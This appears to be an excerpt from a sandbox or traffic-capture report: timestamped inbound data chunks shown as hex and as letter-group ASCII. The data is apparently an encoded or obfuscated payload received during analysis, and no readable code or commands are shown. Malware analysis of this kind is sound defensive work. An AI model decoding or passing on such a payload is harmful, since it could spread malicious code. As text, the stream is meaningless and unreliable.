2021-10-29 15:55:28 UTC	1308	IN	Data Raw: 20 57 6b 20 50 73 4f 20 73 6b 42 20 50 50 42 20 50 6b 55 20 50 50 7a 20 73 42 20 73 6b 55 20 57 6b 20 57 4f 20 7a 73 20 7a 6c 20 7a 7a 20 50 6b 57 20 7a 42 20 4c 7a 20 73 6c 20 57 57 20 4c 6b 20 6c 6b 20 50 50 4f 20 50 50 6c 20 6c 6b 20 4c 50 20 55 57 20 4f 55 20 57 6b 20 4f 7a 20 50 73 42 20 57 73 20 50 50 4c 20 42 55 20 73 6b 4f 20 57 50 20 4f 7a 20 57 73 20 4c 6b 20 50 7a 6b 20 50 50 4f 20 50 50 6c 20 50 6b 6c 20 4c 50 20 42 57 20 4f 55 20 57 6b 20 4f 7a 20 50 73 42 20 57 73 20 50 50 4c 20 42 55 20 73 6b 4f 20 57 50 20 4f 7a 20 57 73 20 4c 6b 20 50 6c 42 20 50 50 4f 20 50 50 6c 20 50 6b 6c 20 4c 50 20 55 4c 20 4f 55 20 57 6b 20 4f 7a 20 50 73 42 20 4c 73 20 50 50 7a 20 73 20 4f 50 20 57 50 20 4f 7a 20 57 73 20 73 42 20 55 57 20 50 50 7a 20 55 4c 20 50 Data Ascii: Wk PsO skB PPB PkU PPz sB skU Wk WO zs zl zz PkW zB Lz sl WW Lk lk PPO PPl lk LP UW OU Wk Oz PsB Ws PPL BU skO WP Oz Ws Lk Pzk PPO PPl Pkl LP BW OU Wk Oz PsB Ws PPL BU skO WP Oz Ws Lk PlB PPO PPl Pkl LP UL OU Wk Oz PsB Ls PPz s OP WP Oz Ws sB UW PPz UL P
2021-10-29 15:55:28 UTC	1312	IN	Data Raw: 4c 20 57 55 20 57 6b 20 57 4f 20 55 4f 20 50 6c 4f 20 50 6c 50 20 50 50 6b 20 7a 42 20 73 4c 42 20 4f 7a 20 57 7a 20 4c 4c 20 50 73 20 50 73 42 20 50 73 57 20 50 6b 42 20 73 57 4f 20 55 50 20 50 57 20 73 6b 20 73 6b 50 20 50 6c 50 20 50 4f 50 20 50 6c 50 20 50 50 6b 20 7a 42 20 73 4c 42 20 4f 7a 20 57 73 20 73 7a 20 7a 57 20 57 6b 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 7a 50 20 57 6b 20 50 50 73 20 73 4f 4c 20 50 50 4f 20 50 50 7a 20 55 7a 20 50 50 73 20 57 6b 20 4f 55 20 57 6b 20 57 4f 20 50 73 73 20 50 50 4f 20 73 4f 55 20 73 50 57 20 50 50 73 20 4f 55 20 57 7a 20 57 6b 20 57 4f 20 7a 57 20 50 50 73 20 50 50 6c 20 6c 6c 20 50 50 73 20 50 57 4c 20 73 57 50 20 57 6b 20 57 7a 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4c Data Ascii: L WU Wk WO UO PlO PlP PPk zB sLB Oz Wz LL Ps PsB PsW PkB sWO UP PW sk skP PlP POP PlP PPk zB sLB Oz Ws sz zW Wk PPl PkU PPs Wk zP Wk PPs sOL PPO PPz Uz PPs Wk OU Wk WO Pss PPO sOU sPW PPs OU Wz Wk WO zW PPs PPl ll PPs PWL sWP Wk Wz zO PPO PPl PkU PPs Wk L
2021-10-29 15:55:28 UTC	1317	IN	Data Raw: 50 6b 20 7a 4f 20 50 50 4f 20 50 50 42 20 6c 73 20 50 6b 73 20 4f 73 20 50 7a 55 20 50 6b 4f 20 57 4f 20 7a 4f 20 50 50 57 20 7a 6b 20 50 73 4c 20 50 50 50 20 7a 20 50 6c 4c 20 73 4c 20 4c 4c 20 6c 57 20 4f 42 20 73 4c 73 20 4c 6b 20 6c 73 20 57 6b 20 4f 7a 20 57 42 20 50 4f 7a 20 42 6c 20 73 55 20 57 55 20 50 6b 55 20 50 50 73 20 57 42 20 4c 57 20 4c 73 20 4f 7a 20 42 55 20 55 55 20 73 42 20 6c 4c 20 50 50 73 20 57 6b 20 57 7a 20 42 57 20 50 6c 6b 20 7a 57 20 50 50 4f 20 50 50 57 20 6c 73 20 55 6c 20 4c 73 20 73 7a 20 57 4c 20 4c 55 20 6c 6b 20 73 57 73 20 73 7a 20 50 73 73 20 42 4f 20 57 4c 20 6c 7a 20 4f 4f 20 57 4f 20 7a 4f 20 50 73 6b 20 55 4f 20 50 6b 57 20 55 6c 20 4c 73 20 4c 55 20 50 42 7a 20 7a 55 20 73 4f 6b 20 50 50 57 20 50 50 6c 20 50 6b 6c Data Ascii: Pk zO PPO PPB ls Pks Os PzU PkO WO zO PPW zk PsL PPP z PlL sL LL lW OB sLs Lk ls Wk Oz WB POz Bl sU WU PkU PPs WB LW Ls Oz BU UU sB lL PPs Wk Wz BW Plk zW PPO PPW ls Ul Ls sz WL LU lk sWs sz Pss BO WL lz OO WO zO Psk UO PkW Ul Ls LU PBz zU sOk PPW PPl Pkl
2021-10-29 15:55:28 UTC	1321	IN	Data Raw: 20 50 50 4f 20 50 50 6c 20 50 6b 4c 20 55 7a 20 4f 7a 20 73 4f 20 6c 20 57 4f 20 7a 4f 20 50 73 6b 20 6c 55 20 57 7a 20 50 4f 4c 20 73 6b 57 20 73 6b 6c 20 73 4c 42 20 57 42 20 6c 6b 20 50 50 73 20 50 4c 55 20 50 73 4c 20 50 73 6b 20 57 6b 20 4f 7a 20 4f 50 20 7a 55 20 55 57 20 50 50 4f 20 50 50 6c 20 50 6b 4c 20 50 6c 73 20 73 4c 42 20 57 50 20 73 6b 20 73 4c 73 20 7a 4f 20 50 6c 73 20 50 50 7a 20 6c 57 20 50 6c 4f 20 57 6b 20 57 4f 20 73 4f 20 57 4f 20 7a 4f 20 50 50 4f 20 57 73 20 4c 4c 20 50 50 73 20 57 6b 20 57 6b 20 57 6b 20 57 4f 20 7a 4f 20 50 57 4c 20 50 50 6c 20 50 6b 55 20 50 50 73 20 50 4c 6b 20 4f 7a 20 57 6b 20 57 4f 20 73 6b 6c 20 50 50 57 20 50 50 6c 20 50 6b 55 20 50 73 42 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 Data Ascii: PPO PPl PkL Uz Oz sO l WO zO Psk lU Wz POL skW skl sLB WB lk PPs PLU PsL Psk Wk Oz OP zU UW PPO PPl PkL Pls sLB WP sk sLs zO Pls PPz lW PlO Wk WO sO WO zO PPO Ws LL PPs Wk Wk Wk WO zO PWL PPl PkU PPs PLk Oz Wk WO skl PPW PPl PkU PsB Wk Oz Wk WO zO PPO PP
2021-10-29 15:55:28 UTC	1323	IN	Data Raw: 20 73 7a 20 4f 6b 20 4f 6b 20 73 50 6c 20 4f 6b 20 50 50 6c 20 50 6b 55 20 50 50 4c 20 73 4c 20 73 73 4f 20 73 57 57 20 57 4f 20 7a 4f 20 50 50 7a 20 55 4c 20 55 6b 20 50 50 73 20 57 6b 20 57 7a 20 42 57 20 50 4f 20 7a 4f 20 50 50 4f 20 50 73 6c 20 50 73 42 20 50 50 6c 20 73 57 20 50 20 57 55 20 4f 50 20 42 7a 20 73 57 57 20 4f 6c 20 50 6b 55 20 50 50 73 20 57 50 20 73 50 20 73 73 42 20 73 73 6b 20 7a 4f 20 50 50 4f 20 50 50 4c 20 42 55 20 6c 50 20 57 6b 20 4f 7a 20 57 42 20 42 55 20 50 6b 7a 20 50 50 4f 20 50 50 6c 20 50 6b 4c 20 4c 50 20 73 4c 20 4f 7a 20 57 6b 20 42 6b 20 50 73 50 20 50 73 4c 20 50 6b 6b 20 50 6b 57 20 7a 7a 20 73 50 6c 20 4f 7a 20 57 6b 20 4f 7a 20 50 73 6c 20 50 50 6c 20 50 6b 6b 20 50 6b 57 20 7a 7a 20 73 50 42 20 4f 7a 20 57 6b 20 Data Ascii: sz Ok Ok sPl Ok PPl PkU PPL sL ssO sWW WO zO PPz UL Uk PPs Wk Wz BW PO zO PPO Psl PsB PPl sW P WU OP Bz sWW Ol PkU PPs WP sP ssB ssk zO PPO PPL BU lP Wk Oz WB BU Pkz PPO PPl PkL LP sL Oz Wk Bk PsP PsL Pkk PkW zz sPl Oz Wk Oz Psl PPl Pkk PkW zz sPB Oz Wk
2021-10-29 15:55:28 UTC	1327	IN	Data Raw: 20 42 6c 20 73 57 57 20 4f 6c 20 50 6b 55 20 50 50 73 20 57 50 20 73 50 20 4c 42 20 4f 50 20 50 73 42 20 73 4c 55 20 42 20 7a 57 20 50 50 73 20 57 6b 20 57 7a 20 55 4c 20 50 55 42 20 7a 4f 20 50 50 4f 20 50 50 57 20 50 73 4f 20 50 50 42 20 4c 57 20 57 42 20 55 4c 20 50 55 7a 20 7a 4f 20 50 50 4f 20 50 50 57 20 50 73 4f 20 50 50 42 20 4c 42 20 55 57 20 50 55 7a 20 57 4f 20 7a 4f 20 50 50 42 20 50 6b 6b 20 50 6b 57 20 4c 50 20 73 4c 6c 20 4f 7a 20 57 6b 20 42 6b 20 42 55 20 50 73 73 20 55 4c 20 50 55 50 20 50 50 73 20 57 6b 20 57 7a 20 4c 4c 20 57 50 20 42 42 20 55 6c 20 50 50 57 20 6c 6b 20 73 4c 20 4c 57 20 57 4c 20 4c 57 20 4f 7a 20 73 6b 42 20 55 6c 20 50 73 4f 20 50 73 4f 20 50 73 50 20 42 57 20 7a 4f 20 57 6b 20 57 4f 20 55 4f 20 73 55 20 50 42 20 50 Data Ascii: Bl sWW Ol PkU PPs WP sP LB OP PsB sLU B zW PPs Wk Wz UL PUB zO PPO PPW PsO PPB LW WB UL PUz zO PPO PPW PsO PPB LB UW PUz WO zO PPB Pkk PkW LP sLl Oz Wk Bk BU Pss UL PUP PPs Wk Wz LL WP BB Ul PPW lk sL LW WL LW Oz skB Ul PsO PsO PsP BW zO Wk WO UO sU PB P
2021-10-29 15:55:28 UTC	1331	IN	Data Raw: 4f 6b 20 7a 4f 20 50 50 4f 20 50 73 6c 20 42 55 20 50 50 50 20 57 6b 20 4f 7a 20 57 42 20 4c 6b 20 6c 42 20 50 50 4f 20 50 50 6c 20 6c 6b 20 7a 7a 20 4f 4c 20 4f 7a 20 57 6b 20 73 55 20 4c 55 20 6c 4f 20 50 50 6c 20 50 6b 55 20 50 73 73 20 55 4c 20 50 55 4f 20 57 6b 20 57 4f 20 7a 73 20 7a 6c 20 55 55 20 73 20 50 4c 73 20 57 6b 20 4f 7a 20 57 73 20 7a 55 20 50 4c 55 20 50 50 4f 20 50 50 6c 20 50 6b 4c 20 50 6c 4f 20 4f 55 20 73 73 20 73 4c 42 20 57 4f 20 7a 73 20 7a 7a 20 50 50 42 20 50 73 57 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 20 4f 7a 20 7a 4f 20 6c 20 50 4f 20 50 6b 55 20 50 50 57 20 57 42 20 4f 7a 20 57 6b 20 57 57 20 6c 4f 20 50 50 73 20 55 4c 20 50 57 50 20 50 50 73 20 57 6b 20 57 4f 20 73 4f 20 4f 6b 20 7a 42 20 55 6b 20 73 50 55 20 50 6b 55 20 Data Ascii: Ok zO PPO Psl BU PPP Wk Oz WB Lk lB PPO PPl lk zz OL Oz Wk sU LU lO PPl PkU Pss UL PUO Wk WO zs zl UU s PLs Wk Oz Ws zU PLU PPO PPl PkL PlO OU ss sLB WO zs zz PPB PsW PPs Wk Oz Wk Oz zO l PO PkU PPW WB Oz Wk WW lO PPs UL PWP PPs Wk WO sO Ok zB Uk sPU PkU
2021-10-29 15:55:28 UTC	1335	IN	Data Raw: 20 57 6b 20 57 7a 20 73 42 20 7a 7a 20 7a 4f 20 50 50 4f 20 50 73 6c 20 50 50 50 20 50 50 20 4c 4f 20 4f 7a 20 57 6b 20 57 6b 20 42 55 20 50 50 42 20 50 6b 6b 20 50 6b 6b 20 4f 6b 20 4c 57 20 42 73 20 7a 7a 20 50 50 6b 20 42 50 20 55 55 20 50 73 6c 20 50 73 4f 20 50 73 6c 20 50 7a 55 20 4c 6b 20 57 6b 20 57 4f 20 7a 42 20 55 20 7a 50 20 50 6b 55 20 50 50 73 20 57 4f 20 7a 55 20 55 4c 20 50 55 42 20 7a 4f 20 50 50 4f 20 50 73 6c 20 73 6b 6c 20 55 50 20 7a 20 57 6b 20 6c 4c 20 4c 4f 20 7a 4f 20 50 50 4f 20 50 50 4c 20 50 6b 42 20 50 73 6b 20 50 6b 42 20 50 55 50 20 73 20 57 4f 20 7a 4f 20 50 50 73 20 50 4f 20 42 7a 20 50 50 73 20 57 6b 20 57 73 20 4c 57 20 57 6c 20 7a 42 20 55 55 20 50 50 57 20 50 73 4f 20 50 73 50 20 50 6b 42 20 4c 4c 20 42 6b 20 55 73 20 Data Ascii: Wk Wz sB zz zO PPO Psl PPP PP LO Oz Wk Wk BU PPB Pkk Pkk Ok LW Bs zz PPk BP UU Psl PsO Psl PzU Lk Wk WO zB U zP PkU PPs WO zU UL PUB zO PPO Psl skl UP z Wk lL LO zO PPO PPL PkB Psk PkB PUP s WO zO PPs PO Bz PPs Wk Ws LW Wl zB UU PPW PsO PsP PkB LL Bk Us
2021-10-29 15:55:28 UTC	1339	IN	Data Raw: 55 20 50 50 73 20 57 6b 20 57 6b 20 6c 4c 20 57 6c 20 7a 4f 20 50 50 4f 20 50 50 4c 20 50 50 6c 20 73 42 20 50 20 50 50 7a 20 4f 7a 20 6c 6c 20 6c 50 20 50 50 4f 20 50 50 6c 20 50 6b 57 20 50 73 50 20 4c 57 20 57 4f 20 55 50 20 50 50 6b 20 73 50 55 20 55 4c 20 50 50 6c 20 50 6b 55 20 50 50 4f 20 73 42 20 42 55 20 57 6b 20 57 4f 20 55 4f 20 50 50 73 20 50 4f 20 50 73 57 20 50 50 73 20 57 6b 20 57 73 20 4c 57 20 42 6b 20 42 55 20 50 73 6c 20 4f 57 20 50 73 4f 20 50 73 42 20 4c 42 20 50 42 42 20 50 6b 42 20 4c 55 20 55 6b 20 50 6b 50 20 73 73 6c 20 57 4c 20 55 6c 20 42 6b 20 4f 6b 20 50 42 4f 20 50 50 6b 20 42 55 20 50 73 4f 20 50 6b 7a 20 73 57 50 20 4f 6b 20 55 50 20 4c 4c 20 42 6b 20 4f 4f 20 50 55 4f 20 73 6c 20 73 42 20 50 57 55 20 50 50 73 20 57 6b 20 Data Ascii: U PPs Wk Wk lL Wl zO PPO PPL PPl sB P PPz Oz ll lP PPO PPl PkW PsP LW WO UP PPk sPU UL PPl PkU PPO sB BU Wk WO UO PPs PO PsW PPs Wk Ws LW Bk BU Psl OW PsO PsB LB PBB PkB LU Uk PkP ssl WL Ul Bk Ok PBO PPk BU PsO Pkz sWP Ok UP LL Bk OO PUO sl sB PWU PPs Wk
2021-10-29 15:55:28 UTC	1344	IN	Data Raw: 50 42 7a 20 73 4f 20 7a 50 20 57 4f 20 7a 4f 20 50 73 6b 20 55 4c 20 50 50 50 20 50 50 4c 20 57 6b 20 57 7a 20 42 57 20 57 4c 20 7a 57 20 50 50 4f 20 50 73 6c 20 6c 73 20 50 50 7a 20 4c 6c 20 50 6c 6b 20 73 42 20 7a 57 20 7a 4f 20 50 50 4f 20 50 73 6c 20 4c 6b 20 7a 73 20 57 6b 20 4f 7a 20 57 42 20 4c 6b 20 50 50 55 20 50 50 4f 20 50 50 6c 20 50 6b 4c 20 4c 50 20 73 73 20 4f 7a 20 57 6b 20 42 6b 20 57 55 20 50 50 7a 20 50 50 42 20 50 6b 55 20 50 73 73 20 73 4c 20 57 4f 20 4c 6c 20 50 6c 73 20 50 73 4f 20 50 6c 20 50 50 6c 20 50 6b 55 20 50 73 73 20 55 4c 20 57 4c 20 57 50 20 57 4f 20 55 4f 20 55 6b 20 50 4c 7a 20 50 6b 55 20 50 50 73 20 57 42 20 73 73 20 73 4c 42 20 57 50 20 50 50 4f 20 50 6b 6b 20 50 73 42 20 50 6c 55 20 50 50 4f 20 4c 6c 20 73 42 20 57 Data Ascii: PBz sO zP WO zO Psk UL PPP PPL Wk Wz BW WL zW PPO Psl ls PPz Ll Plk sB zW zO PPO Psl Lk zs Wk Oz WB Lk PPU PPO PPl PkL LP ss Oz Wk Bk WU PPz PPB PkU Pss sL WO Ll Pls PsO Pl PPl PkU Pss UL WL WP WO UO Uk PLz PkU PPs WB ss sLB WP PPO Pkk PsB PlU PPO Ll sB W
2021-10-29 15:55:28 UTC	1348	IN	Data Raw: 20 50 50 42 20 50 6b 55 20 50 50 50 20 50 50 73 20 57 73 20 42 6c 20 4f 6c 20 57 57 20 7a 4f 20 50 73 6b 20 55 4c 20 6c 6c 20 50 50 73 20 57 6b 20 73 6c 20 42 57 20 4f 50 20 7a 57 20 50 50 4f 20 50 73 6c 20 50 6b 73 20 55 7a 20 57 50 20 73 4f 20 50 7a 20 57 57 20 7a 4f 20 50 73 6b 20 7a 7a 20 50 50 6b 20 50 6b 73 20 73 57 20 57 57 20 4c 73 20 57 57 20 50 73 4f 20 7a 4c 20 50 50 42 20 50 6b 55 20 50 73 73 20 42 4c 20 73 4c 7a 20 57 57 20 50 42 20 50 4c 7a 20 50 50 4f 20 55 55 20 6c 50 20 50 73 50 20 73 4f 20 4f 7a 20 57 50 20 4c 7a 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 42 6b 20 57 6b 20 73 4f 6b 20 42 73 20 57 57 20 7a 6c 20 50 73 6b 20 50 50 6c 20 50 6b 55 20 50 50 4c 20 4c 4c 20 6b 20 57 57 20 57 4f 20 4c 57 20 50 50 4f 20 50 50 6c 20 50 6b 55 Data Ascii: PPB PkU PPP PPs Ws Bl Ol WW zO Psk UL ll PPs Wk sl BW OP zW PPO Psl Pks Uz WP sO Pz WW zO Psk zz PPk Pks sW WW Ls WW PsO zL PPB PkU Pss BL sLz WW PB PLz PPO UU lP PsP sO Oz WP Lz zO PPO PPl PkU Bk Wk sOk Bs WW zl Psk PPl PkU PPL LL k WW WO LW PPO PPl PkU
2021-10-29 15:55:28 UTC	1352	IN	Data Raw: 4f 4c 20 73 20 57 50 20 7a 4f 20 50 4f 73 20 50 50 6c 20 50 6b 55 20 50 50 73 20 50 73 73 20 4f 7a 20 57 6b 20 4c 55 20 4f 73 20 50 50 7a 20 50 50 6c 20 50 6b 55 20 50 50 42 20 6c 42 20 57 57 20 57 6b 20 57 4f 20 7a 6b 20 55 6b 20 7a 7a 20 50 6b 55 20 50 50 73 20 57 73 20 4c 55 20 50 55 50 20 50 50 6b 20 7a 4f 20 50 50 4f 20 50 50 42 20 6c 73 20 50 6b 73 20 42 4f 20 73 4c 7a 20 57 4c 20 57 4f 20 4c 42 20 73 6b 7a 20 55 7a 20 73 20 42 73 20 57 6b 20 4f 7a 20 57 42 20 6c 73 20 6c 57 20 50 50 57 20 50 50 6c 20 50 6b 57 20 7a 57 20 4c 50 20 4c 55 20 73 6b 20 6c 73 20 6c 4f 20 50 50 57 20 50 50 6c 20 50 6b 57 20 50 4f 73 20 57 73 20 4f 6c 20 4f 7a 20 57 4f 20 7a 73 20 50 20 42 73 20 50 6b 7a 20 50 50 73 20 57 42 20 73 50 20 50 6c 7a 20 4f 50 20 7a 57 20 50 50 Data Ascii: OL s WP zO POs PPl PkU PPs Pss Oz Wk LU Os PPz PPl PkU PPB lB WW Wk WO zk Uk zz PkU PPs Ws LU PUP PPk zO PPO PPB ls Pks BO sLz WL WO LB skz Uz s Bs Wk Oz WB ls lW PPW PPl PkW zW LP LU sk ls lO PPW PPl PkW POs Ws Ol Oz WO zs P Bs Pkz PPs WB sP Plz OP zW PP
2021-10-29 15:55:28 UTC	1355	IN	Data Raw: 50 50 73 20 50 73 50 20 4f 7a 20 57 6b 20 4c 55 20 4c 55 20 73 50 42 20 50 50 6c 20 50 6b 55 20 50 73 73 20 57 42 20 42 42 20 50 50 73 20 57 55 20 7a 4f 20 73 20 6c 20 73 4c 4c 20 50 73 57 20 57 6b 20 42 4f 20 6c 42 20 4f 6b 20 7a 4f 20 50 50 4f 20 50 73 6c 20 42 55 20 50 50 50 20 57 6b 20 4f 7a 20 57 42 20 42 7a 20 73 6b 6b 20 50 73 6c 20 50 50 6c 20 73 55 20 73 20 50 7a 73 20 42 50 20 57 6b 20 6c 6b 20 4f 73 20 50 6b 7a 20 50 50 6c 20 50 6b 55 20 50 73 73 20 73 42 20 4f 6c 20 57 6b 20 57 4f 20 55 4f 20 50 20 50 73 20 50 6b 7a 20 50 50 73 20 57 42 20 57 55 20 57 4c 20 7a 55 20 4c 55 20 50 50 57 20 50 50 6c 20 50 6b 4c 20 50 73 4f 20 57 7a 20 55 57 20 6c 6b 20 57 57 20 7a 4f 20 50 73 6b 20 50 73 6b 20 6c 6b 20 50 42 20 57 55 20 55 57 20 6c 50 20 57 57 20 Data Ascii: PPs PsP Oz Wk LU LU sPB PPl PkU Pss WB BB PPs WU zO s l sLL PsW Wk BO lB Ok zO PPO Psl BU PPP Wk Oz WB Bz skk Psl PPl sU s Pzs BP Wk lk Os Pkz PPl PkU Pss sB Ol Wk WO UO P Ps Pkz PPs WB WU WL zU LU PPW PPl PkL PsO Wz UW lk WW zO Psk Psk lk PB WU UW lP WW
2021-10-29 15:55:28 UTC	1359	IN	Data Raw: 20 57 42 20 57 7a 20 50 7a 20 50 7a 6c 20 7a 4f 20 50 50 4f 20 50 50 6c 20 73 73 4f 20 4f 73 20 57 6b 20 4f 7a 20 57 50 20 50 55 20 50 4c 73 20 50 7a 4c 20 50 50 6c 20 50 6b 55 20 50 50 42 20 73 42 20 6c 20 57 6b 20 57 4f 20 55 4f 20 50 20 6c 6c 20 50 6b 55 20 50 50 73 20 57 42 20 42 42 20 73 73 50 20 4c 55 20 7a 4f 20 73 20 50 50 20 50 50 57 20 50 50 73 20 57 6b 20 57 7a 20 73 42 20 4f 50 20 7a 4f 20 50 50 4f 20 50 73 6c 20 50 73 73 20 73 57 4c 20 50 6b 4f 20 4f 7a 20 57 6b 20 57 57 20 50 50 4c 20 50 6b 6b 20 50 6b 42 20 50 6c 20 73 4c 6c 20 55 4c 20 73 4c 7a 20 57 6b 20 57 4f 20 55 4f 20 50 73 50 20 55 55 20 55 6c 20 6c 73 20 50 55 57 20 4f 7a 20 57 6b 20 57 4f 20 7a 4c 20 50 73 73 20 73 4c 55 20 55 42 20 50 50 50 20 4c 4c 20 50 7a 55 20 50 6b 4f 20 57 Data Ascii: WB Wz Pz Pzl zO PPO PPl ssO Os Wk Oz WP PU PLs PzL PPl PkU PPB sB l Wk WO UO P ll PkU PPs WB BB ssP LU zO s PP PPW PPs Wk Wz sB OP zO PPO Psl Pss sWL PkO Oz Wk WW PPL Pkk PkB Pl sLl UL sLz Wk WO UO PsP UU Ul ls PUW Oz Wk WO zL Pss sLU UB PPP LL PzU PkO W
2021-10-29 15:55:28 UTC	1363	IN	Data Raw: 20 57 50 20 50 55 20 50 4c 73 20 50 42 57 20 50 50 6c 20 50 6b 55 20 50 50 42 20 73 42 20 6c 20 57 6b 20 57 4f 20 55 4f 20 50 20 6c 6c 20 50 6b 55 20 50 50 73 20 57 42 20 57 55 20 6c 42 20 6c 4f 20 7a 57 20 50 50 4f 20 50 73 6c 20 50 6b 42 20 4c 50 20 73 73 73 20 4f 7a 20 57 6b 20 42 6b 20 7a 7a 20 50 73 73 20 73 42 20 50 42 20 50 50 4c 20 57 6b 20 57 7a 20 42 4c 20 4c 73 20 6c 50 20 50 50 7a 20 6c 6c 20 50 6c 7a 20 50 50 73 20 57 6b 20 4f 7a 20 57 55 20 4c 55 20 7a 6b 20 73 4c 73 20 50 6b 73 20 50 6b 4f 20 50 73 6b 20 4c 57 20 57 4c 20 55 4c 20 73 50 7a 20 7a 4f 20 50 50 4f 20 50 73 6c 20 50 73 42 20 50 50 7a 20 4c 57 20 57 4f 20 4c 50 20 57 4c 20 42 4f 20 7a 55 20 50 6b 6c 20 50 73 4f 20 50 50 7a 20 4f 57 20 57 55 20 50 55 50 20 50 6b 7a 20 7a 4f 20 50 Data Ascii: WP PU PLs PBW PPl PkU PPB sB l Wk WO UO P ll PkU PPs WB WU lB lO zW PPO Psl PkB LP sss Oz Wk Bk zz Pss sB PB PPL Wk Wz BL Ls lP PPz ll Plz PPs Wk Oz WU LU zk sLs Pks PkO Psk LW WL UL sPz zO PPO Psl PsB PPz LW WO LP WL BO zU Pkl PsO PPz OW WU PUP Pkz zO P
2021-10-29 15:55:28 UTC	1367	IN	Data Raw: 20 50 73 6c 20 6c 6c 20 50 73 4f 20 50 50 4c 20 57 6b 20 4f 7a 20 57 7a 20 42 4c 20 73 6b 42 20 55 6c 20 50 50 4c 20 50 73 4c 20 55 55 20 57 57 20 57 4f 20 55 4c 20 73 73 20 7a 4f 20 50 50 4f 20 50 73 6c 20 50 73 42 20 50 50 55 20 73 57 20 4f 50 20 4c 73 20 4f 55 20 50 73 4f 20 7a 4c 20 50 50 6c 20 50 6b 55 20 50 73 73 20 4c 4c 20 57 42 20 4c 57 20 57 6b 20 42 55 20 50 73 73 20 73 42 20 6c 73 20 50 50 73 20 57 6b 20 57 7a 20 4c 6b 20 57 50 20 42 6c 20 55 6c 20 50 50 73 20 6c 6b 20 50 73 50 20 4c 73 20 57 57 20 73 42 20 4c 20 7a 4f 20 50 50 4f 20 50 73 6c 20 42 4f 20 50 6c 4f 20 73 4c 42 20 42 73 20 4c 73 20 4f 55 20 50 6c 6b 20 50 6b 6b 20 50 73 57 20 50 6b 55 20 50 50 73 20 4f 50 20 55 57 20 57 6c 20 57 4f 20 7a 4f 20 50 73 6b 20 50 42 55 20 50 73 4f 20 Data Ascii: Psl ll PsO PPL Wk Oz Wz BL skB Ul PPL PsL UU WW WO UL ss zO PPO Psl PsB PPU sW OP Ls OU PsO zL PPl PkU Pss LL WB LW Wk BU Pss sB ls PPs Wk Wz Lk WP Bl Ul PPs lk PsP Ls WW sB L zO PPO Psl BO PlO sLB Bs Ls OU Plk Pkk PsW PkU PPs OP UW Wl WO zO Psk PBU PsO
2021-10-29 15:55:28 UTC	1371	IN	Data Raw: 4c 20 6c 50 20 7a 73 20 4f 7a 20 57 50 20 6c 55 20 50 20 7a 4f 20 50 50 4f 20 50 50 4c 20 6c 50 20 50 50 6b 20 4f 7a 20 6c 57 20 50 6b 20 57 4f 20 7a 4f 20 50 50 7a 20 55 57 20 6c 55 20 50 50 4f 20 4f 55 20 6c 6c 20 50 6b 20 57 4f 20 7a 4f 20 50 50 7a 20 55 57 20 50 50 57 20 50 50 4f 20 73 42 20 7a 73 20 57 6b 20 57 4f 20 55 4f 20 7a 7a 20 50 6b 6c 20 50 50 50 20 50 50 20 50 50 20 4f 7a 20 57 6b 20 57 6b 20 50 73 42 20 7a 6b 20 50 50 55 20 50 50 6b 20 50 4c 20 50 50 20 4f 7a 20 57 6b 20 57 6b 20 50 73 42 20 50 6b 7a 20 50 50 55 20 73 73 20 6c 4f 20 57 6b 20 4f 7a 20 57 4f 20 73 7a 20 50 50 7a 20 50 50 73 20 50 50 7a 20 50 42 20 6c 4f 20 57 6b 20 4f 7a 20 57 4f 20 73 7a 20 6c 4f 20 50 50 73 20 50 4f 20 7a 42 20 50 50 73 20 57 6b 20 57 73 20 73 4f 20 73 6b Data Ascii: L lP zs Oz WP lU P zO PPO PPL lP PPk Oz lW Pk WO zO PPz UW lU PPO OU ll Pk WO zO PPz UW PPW PPO sB zs Wk WO UO zz Pkl PPP PP PP Oz Wk Wk PsB zk PPU PPk PL PP Oz Wk Wk PsB Pkz PPU ss lO Wk Oz WO sz PPz PPs PPz PB lO Wk Oz WO sz lO PPs PO zB PPs Wk Ws sO sk
2021-10-29 15:55:28 UTC	1376	IN	Data Raw: 57 20 6c 6c 20 57 4f 20 7a 4f 20 50 50 7a 20 55 57 20 6c 55 20 50 50 4f 20 4f 55 20 6c 6c 20 6c 6c 20 57 4f 20 7a 4f 20 50 50 7a 20 55 57 20 50 50 57 20 50 50 4f 20 6c 4c 20 50 6c 42 20 57 6b 20 57 4f 20 7a 6b 20 7a 7a 20 7a 6c 20 50 50 50 20 50 50 57 20 6c 55 20 50 6c 42 20 57 6b 20 57 4f 20 7a 6b 20 7a 7a 20 50 6b 6c 20 50 50 50 20 50 50 20 50 6c 55 20 4f 7a 20 57 6b 20 57 6b 20 50 73 42 20 7a 6b 20 50 50 55 20 50 50 6b 20 50 4c 20 50 6c 55 20 4f 7a 20 57 6b 20 57 6b 20 50 73 42 20 50 6b 7a 20 50 50 55 20 42 55 20 50 7a 20 57 6b 20 4f 7a 20 57 42 20 73 7a 20 6c 4f 20 50 50 73 20 55 4c 20 50 57 20 50 50 73 20 57 6b 20 57 7a 20 73 4f 20 50 42 4f 20 7a 42 20 55 6b 20 73 4c 20 50 6b 55 20 50 50 73 20 57 42 20 57 6b 20 4f 55 20 42 55 20 50 50 7a 20 50 50 4f Data Ascii: W ll WO zO PPz UW lU PPO OU ll ll WO zO PPz UW PPW PPO lL PlB Wk WO zk zz zl PPP PPW lU PlB Wk WO zk zz Pkl PPP PP PlU Oz Wk Wk PsB zk PPU PPk PL PlU Oz Wk Wk PsB Pkz PPU BU Pz Wk Oz WB sz lO PPs UL PW PPs Wk Wz sO PBO zB Uk sL PkU PPs WB Wk OU BU PPz PPO
